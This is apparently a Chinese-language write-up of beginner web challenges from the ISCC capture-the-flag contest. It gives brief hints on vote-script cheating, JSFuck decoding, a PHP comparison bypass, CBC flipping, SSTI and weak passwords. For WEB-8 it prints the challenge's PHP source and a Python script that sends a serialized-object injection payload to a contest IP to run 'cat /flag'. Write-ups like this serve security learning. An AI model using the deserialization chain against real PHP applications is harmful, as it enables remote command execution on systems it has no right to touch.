ISCC练武题 适合新手的题,练练手
WEB-1
打开环境,是一个投票页面
题目要求:在20秒之内让左边的票数高过右边的
方法一:Python写脚本模拟点击,实现刷票
方法二:修改左右客服的ID
方法三:直接在控制台修改左边票数的数据
WEB-2 查看源码
是JS编码
http://www.jsfuck.com/
打开在线网站,直接提交这串编码即出flag
JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.
It does not depend on a browser, so you can even run it on Node.js.
Use the form below to convert your own script. Uncheck “eval source” to get back a plain string.
WEB-3
查看robots.txt
继续查看code.txt
出现一串PHP代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php <p>code.txt</p> if (isset ($_GET ['password' ])) { if (preg_match ("/^[a-zA-Z0-9]+$/" , $_GET ['password' ]) === FALSE ) { echo '<p>You password must be alphanumeric</p>' ; } else if (strlen ($_GET ['password' ]) < 8 && $_GET ['password' ] > 9999999 ) { if (strpos ($_GET ['password' ], '*-*' ) !== FALSE ) { die ('Flag: ' . $flag ); } else { echo ('<p>*-* have not been found</p>' ); } } else { echo '<p>Invalid password</p>' ; } } ?>
根据正则表达以GET型提交即可。
注意是在根目录下提交GET请求。
WEB-4 题目描述:ISCC客服一号冲冲冲(二)
打开之后是个伪装的登录框(其实是图片)
但是图片显示不完整
值
描述
visible
默认值。内容不会被修剪,会呈现在元素框之外。
hidden
内容会被修剪,并且其余内容是不可见的。
scroll
内容会被修剪,但是浏览器会显示滚动条以便查看其余的内容。
auto
如果内容被修剪,则浏览器会显示滚动条以便查看其余的内容。
inherit
规定应该从父元素继承 overflow 属性的值。
根据 CSS 布局 - Overflow,可以看出图片的完整部分。
下载图片,并进行LSB隐写破解和压缩文件隐藏破解,发现行不通。
根据之前题目得到的flag进行POST提交
修改admin
根据网上的提示,查看cookie,
CBC翻转攻击
WEB-5 打开网页,是4张猫猫图片
根据题目描述,这是一个ssti模板注入
这只猫叫小豆泥
信息收集:xiaodouni
WEB-6 题目:Explore Ruby
WEB-7 打开之后是个登录框
尝试万能密码和SQL注入都没成功
然后尝试弱口令:test : test
登录成功
图片地址是base64编码
解密即可出flag
WEB-8
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 <?php session_start ();ini_set ('max_execution_time' , '5' );set_time_limit (5 );$status = "new" ;$cmd = "whoami" ;$is_upload = false ;$is_unser_finished = false ;$iscc_file = NULL ;class ISCC_Upload { function __wakeup ( ) { global $cmd ; global $is_upload ; $cmd = "whoami" ; $_SESSION ['name' ] = randstr (14 ); $is_upload = (count ($_FILES ) > 0 ); } function __destruct ( ) { global $is_upload ; global $status ; global $iscc_file ; $status = "upload_fail" ; if ($is_upload ) { foreach ($_FILES as $key => $value ) $GLOBALS [$key ] = $value ; if (is_uploaded_file ($iscc_file ['tmp_name' ])) { $check = @getimagesize ($iscc_file ["tmp_name" ]); if ($check !== false ) { $target_dir = "/var/tmp/" ; $target_file = $target_dir . randstr (10 ); if (file_exists ($target_file )) { echo "想啥呢?有东西了……<br>" ; finalize (); exit ; } if ($iscc_file ["size" ] > 500000 ) { echo "东西塞不进去~<br>" ; finalize (); exit ; } if (move_uploaded_file ($iscc_file ["tmp_name" ], $target_file )) { echo "我拿到了!<br>" ; $iscc_file = $target_file ; $status = "upload_ok" ; } else { echo "拿不到:(<br>" ; finalize (); exit ; } } else { finalize (); exit ; } } else { echo "你真是个天才!<br>" ; finalize (); exit ; } } } } class ISCC_ResetCMD { protected $new_cmd = "echo '新新世界,发号施令!'" ; function __wakeup ( ) { global $cmd ; global $is_upload ; global $status ; $_SESSION ['name' ] = randstr (14 ); $is_upload = false ; if (!isset ($this ->new_cmd)) { $status = "error" ; $error = "你这罐子是空的!" ; throw new Exception ($error ); } if (!is_string ($this ->new_cmd)) { $status = "error" ; $error = '东西都没给对!' ; throw new Exception ($error ); } } function __destruct ( ) { global $cmd ; global $status ; $status = "reset" ; if ($_SESSION ['name' ] === 'isccIsCciScc1scc' ) { $cmd = $this ->new_cmd; } } } class ISCC_Login { function __wakeup ( ) { $this ->login (); } function __destruct ( ) { $this ->logout (); } function login ( ) { $flag = file_get_contents ("/flag" ); $pAssM0rd = hash ("sha256" , $flag ); if ($_GET ['pAssM0rd' ] === $pAssM0rd ) $_SESSION ['name' ] = "isccIsCciScc1scc" ; } function logout ( ) { global $status ; unset ($_SESSION ['name' ]); $status = "finish" ; } } class ISCC_TellMeTruth { function __wakeup ( ) { if (!isset ($_SESSION ['name' ])) $_SESSION ['name' ] = randstr (14 ); echo "似乎这个 " .$_SESSION ['name' ]." 是真相<br>" ; } function __destruct ( ) { echo "似乎这个 " .$_SESSION ['name' ]." 是真相<br>" ; } } class ISCC_Command { function __wakeup ( ) { global $cmd ; global $is_upload ; $_SESSION ['name' ] = randstr (14 ); $is_upload = false ; $cmd = "whoami" ; } function __toString ( ) { global $cmd ; return "看看你干的好事: {$cmd} <br>" ; } function __destruct ( ) { global $cmd ; global $status ; global $is_unser_finished ; $status = "cmd" ; if ($is_unser_finished === true ) { echo "看看你干的 [<span style='color:red'>{$cmd} </span>] 弄出了什么后果: " ; echo "<span style='color:blue'>" ; @system ($cmd ); echo "</span>" ; } } } function randstr ($len ) { $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=' ; $randstring = '' ; for ($i = 0 ; $i < $len ; $i ++) { $randstring .= $characters [rand (0 , strlen ($characters ))]; } return $randstring ; } function waf ($s ) { if (stripos ($s , "*" ) !== FALSE ) return false ; return true ; } function finalize ( ) { $cmd = "" ; $is_upload = false ; unset ($_SESSION ); @unlink ($iscc_file ); $status = "finish" ; echo "<img src='whichisthetrueiscc.gif'><br>" ; } if (isset ($_GET ['whatareyounongshane' ])) { $whatareyounongshane = $_GET ['whatareyounongshane' ]; switch ($whatareyounongshane ) { case "src" : highlight_file (__FILE__ ); break ; case "cmd" : echo "想越级干好事?还是有门的……" ; header ('Location: /?%3f=O:12:"ISCC_Command":0:{}' ); break ; case "reset" : echo "几辈子积累的好运就在这时~:p" ; header ('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}' ); break ; case "upload" : $resp = <<<EOF <form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data"> <input type="file" name="iscc_file"> <input type="submit" value="Upload Image" name="submit"> </form> EOF ; echo $resp ; break ; case "tellmetruth" : echo base64_decode ("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==" ); header ('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}' ); break ; default : echo "空空如也就是我!" ; } finalize (); die ("所以哪个ISCC是真的?<br>" ); } if (isset ($_GET ['?' ])) { $wtf = waf ($_GET {'?' }) ? $_GET ['?' ] : (finalize () && die ("试试就“逝世”!" )); if ($goodshit = @unserialize ($wtf )) { $is_unser_finished = true ; } if (in_array ($status , array ('new' , 'cmd' , 'upload_ok' , 'upload_fail' , 'reset' ), true )) finalize (); die ("所以哪个ISCC是真的?<br>" ); } ?> <head> <title>ISCC finder system - which is the true ISCC</title> <meta charset="UTF-8" > <style> * { margin: 0 ; padding: 0 ; } canvas { display: block; } width: 100 %; height: 100 vh; background: cornflowerblue; } </style> </head> <body> <!-- ████████████▒▒▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒████████████▒▒ ████████████▒▒▒▒████████████████▒▒▒▒▒▒▒▒▒▒▒▒██████████████████▒▒▒▒▒▒▒▒██████████████████ ▒▒▒▒████▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▒▒▒▒▒▒████████▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▒▒████████▒▒▒▒▒▒▒▒▒▒██ ▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒████▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒████▒▒▒▒▒▒▒▒▒▒████████▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒██ ████████████▒▒██████████████████▒▒▒▒▒▒▒▒▒▒▒▒██████████████████▒▒▒▒▒▒▒▒██████████████████ ████████████▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████████▒▒▒▒ --> <script src="//cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js" ></script> <div id="snowfall" ></div> <script> particlesJS ("snowfall" , { "particles" : { "number" : { "value" : 100 }, "shape" : { "type" : "circle" }, "size" : { "value" : 10 , "random" : true }, "line_linked" : { "enable" : false }, "move" : { "enable" : true , "speed" : 2 , "direction" : "bottom" , "straight" : false } }, "interactivity" : { "detect_on" : "canvas" , "events" : { "onhover" : { "enable" : false } }, "modes" : { "push" : { "particles_nb" : 12 } } } }); </script> <!-- <a href="/?whatareyounongshane=src" >我真的是源码?</a> <a href="/?whatareyounongshane=cmd" >干点好事!</a> <a href="/?whatareyounongshane=upload" >送点东西!</a> <a href="/?whatareyounongshane=tellmetruth" >快告诉我真相!</a> --> </body> 所以哪个ISCC是真的?
1 2 3 4 5 6 7 8 9 10 11 import requestsurl="http://39.96.91.106:7050/" files={ 'iscc_file' :("b" ,open ("1.png" ,"rb" )), "_SESSION" :("isccIsCciScc1scc" ,"hello" ) } r=requests.post(url=url+"??=O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D" ,files=files) print (r.text)